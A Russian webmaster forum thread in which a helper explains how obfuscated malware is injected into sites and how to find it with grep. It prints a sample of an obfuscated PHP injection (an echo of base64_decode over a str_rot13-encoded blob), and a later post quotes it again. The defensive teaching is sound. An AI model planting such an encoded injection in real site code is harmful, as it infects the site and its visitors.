Форум Сайтостроение Веб-строительство

Яндекс ругается, вирус на сайт обнаружен

12
nik2019
На сайте с 28.04.2009
Offline
182
nik2019
#11

Mad_Man, спасибо вам за помощь. Смог он найти и удалить вирус с сайта. В ббкоде он был.

Многодарю
Mad_Man
На сайте с 10.11.2008
Offline
162
Mad_Man
#12
nik2019:
В ббкоде он был.

Не за что :)

Но Вы не совсем точно объяснили где был вирус, ббкод не при чём :)

==================================

Вы на почте спрашивали как находить в будущем вирусы, напишу лучше сюда, может кому-нибудь помогу.

Ищется довольно легко, вариантов не много.

Первый - это прямая вставка в код в открытом виде. Но ведь я тогда был бы не нужен, верно? :)

Второй вариант - использование обфускаторов, то есть вместо "hello" мы получаем набор букв и символов вида "aGVsbG8=". Основной поддержкой такой обфускации является вызов base64. Вредоносный код, к примеру, может быть записан в таком виде:

$somecrainsignvar="ny2fmed8"; echo base64_decode(str_rot13('VQkmL3WcpUD+VN0XqzSlVTquFaAVo3A0VQ0tXPtvnUE0pQbvVQ09VTEiL3IgMJ50YzkiL2S0nJ9hYaOlo3EiL29fXFN/VPWbqUEjBv8irJShMT
I4VvN6VPWbqUEjBv8irJShMTI4Vvx7VTEiL3IgMJ50YaqlnKEyXUIhMKAwLKOyXPVyZ0AmL3WcpUDtp3WwCFpvVPftM2SXp0uip3DtXlNvYKyuozEyrP51ozxhL2ZiqzIlnJM5YKLkC2yxCFVeGJS0nP5zoT9ipvuALKEbYaWuozEioFtcVP
bmZQNjZPxeVvMapz91pQ0lWaAyo3WyMw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5lMJMypaWypvxeVPVzpTSlLJ1yqTIlCFEeMKy3o3WxWaAyCFEmMFM1pw0kWxuHISOsHxITEIWSHw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2
A1oJIhqP5IHxjcXlVzMTIzLKIfqS9eMKy3o3WxCFptqUyjMG0aqTI4qP9dLKMup2AlnKO0WlHmEFHmDl9mL3WcpUDyZ0HvXFx7QDbtCP9mL3WcpUD+VN==')); $crain="";

... но у всех таких обфускаций есть одно общее - упоминание "base64_decode", что используется на здоровых сайтах довольно редко, да и то в шаблонах, поэтому условно считаем любой найденных фрагмент "base64_decode" вредоносным кодом.

Теперь как искать:

1) Нужен дамп всех файлов сайта.

2) Нужно устройство для поиска, но так как я использую для работы OS Ubuntu, то у меня по умолчанию есть шустрая команда 'grep', которая позволяет искать текст в указанной папке. Запрос на поиск довольно прост: "grep <параметры> <текст для поиска> <путь для поиска>. К примеру наш запрос может иметь следующий вид: "grep -rl base64_decode /home/www/site.ru", где <grep> - вызов команды, <-rl> - указание на включение в поиск всех вложенных папок в основную для поиска (r = рекурсивно = все папки, что будут в папке для поиска), <base64_decode> - фраза для поиска, </home/www/site.ru> - путь для поиска.

И да, grep по умолчанию доступен в большинстве дистрибутивов Linux и *BSD, поэтому если у Вас есть доступ к ssh на сервере, то искать вирусную вставку можно прямо с сервера, не выкачивая файлы сайта.

Вышел новый SiteAnalyzer с Вышел клиент Яндекс.Диска для В Яндекс.Диске появилась возможность
nik2019
На сайте с 28.04.2009
Offline
182
nik2019
#13
Mad_Man:
Не за что :)

Но Вы не совсем точно объяснили где был вирус, ббкод не при чём :)

==================================

Вы на почте спрашивали как находить в будущем вирусы, напишу лучше сюда, может кому-нибудь помогу.

Ищется довольно легко, вариантов не много.
Первый - это прямая вставка в код в открытом виде. Но ведь я тогда был бы не нужен, верно? :)
Второй вариант - использование обфускаторов, то есть вместо "hello" мы получаем набор букв и символов вида "aGVsbG8=". Основной поддержкой такой обфускации является вызов base64. Вредоносный код, к примеру, может быть записан в таком виде: 

$somecrainsignvar="ny2fmed8"; echo base64_decode(str_rot13('VQkmL3WcpUD+VN0XqzSlVTquFaAVo3A0VQ0tXPtvnUE0pQbvVQ09VTEiL3IgMJ50YzkiL2S0nJ9hYaOlo3EiL29fXFN/VPWbqUEjBv8irJShMT

I4VvN6VPWbqUEjBv8irJShMTI4Vvx7VTEiL3IgMJ50YaqlnKEyXUIhMKAwLKOyXPVyZ0AmL3WcpUDtp3WwCFpvVPftM2SXp0uip3DtXlNvYKyuozEyrP51ozxhL2ZiqzIlnJM5YKLkC2yxCFVeGJS0nP5zoT9ipvuALKEbYaWuozEioFtcVP

bmZQNjZPxeVvMapz91pQ0lWaAyo3WyMw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5lMJMypaWypvxeVPVzpTSlLJ1yqTIlCFEeMKy3o3WxWaAyCFEmMFM1pw0kWxuHISOsHxITEIWSHw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2

A1oJIhqP5IHxjcXlVzMTIzLKIfqS9eMKy3o3WxCFptqUyjMG0aqTI4qP9dLKMup2AlnKO0WlHmEFHmDl9mL3WcpUDyZ0HvXFx7QDbtCP9mL3WcpUD+VN==')); $crain="";

... но у всех таких обфускаций есть одно общее - упоминание "base64_decode", что используется на здоровых сайтах довольно редко, да и то в шаблонах, поэтому условно считаем любой найденных фрагмент "base64_decode" вредоносным кодом.

Теперь как искать:
1) Нужен дамп всех файлов сайта.
2) Нужно устройство для поиска, но так как я использую для работы OS Ubuntu, то у меня по умолчанию есть шустрая команда 'grep', которая позволяет искать текст в указанной папке. Запрос на поиск довольно прост: "grep <параметры> <текст для поиска> <путь для поиска>. К примеру наш запрос может иметь следующий вид: "grep -rl base64_decode /home/www/site.ru", где <grep> - вызов команды, <-rl> - указание на включение в поиск всех вложенных папок в основную для поиска (r = рекурсивно = все папки, что будут в папке для поиска), <base64_decode> - фраза для поиска, </home/www/site.ru> - путь для поиска.

И да, grep по умолчанию доступен в большинстве дистрибутивов Linux и *BSD, поэтому если у Вас есть доступ к ssh на сервере, то искать вирусную вставку можно прямо с сервера, не выкачивая файлы сайта.

Спасибо! Теперь буду знать, как искать один из видов вируса. Первый раз с этим столкнулся.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий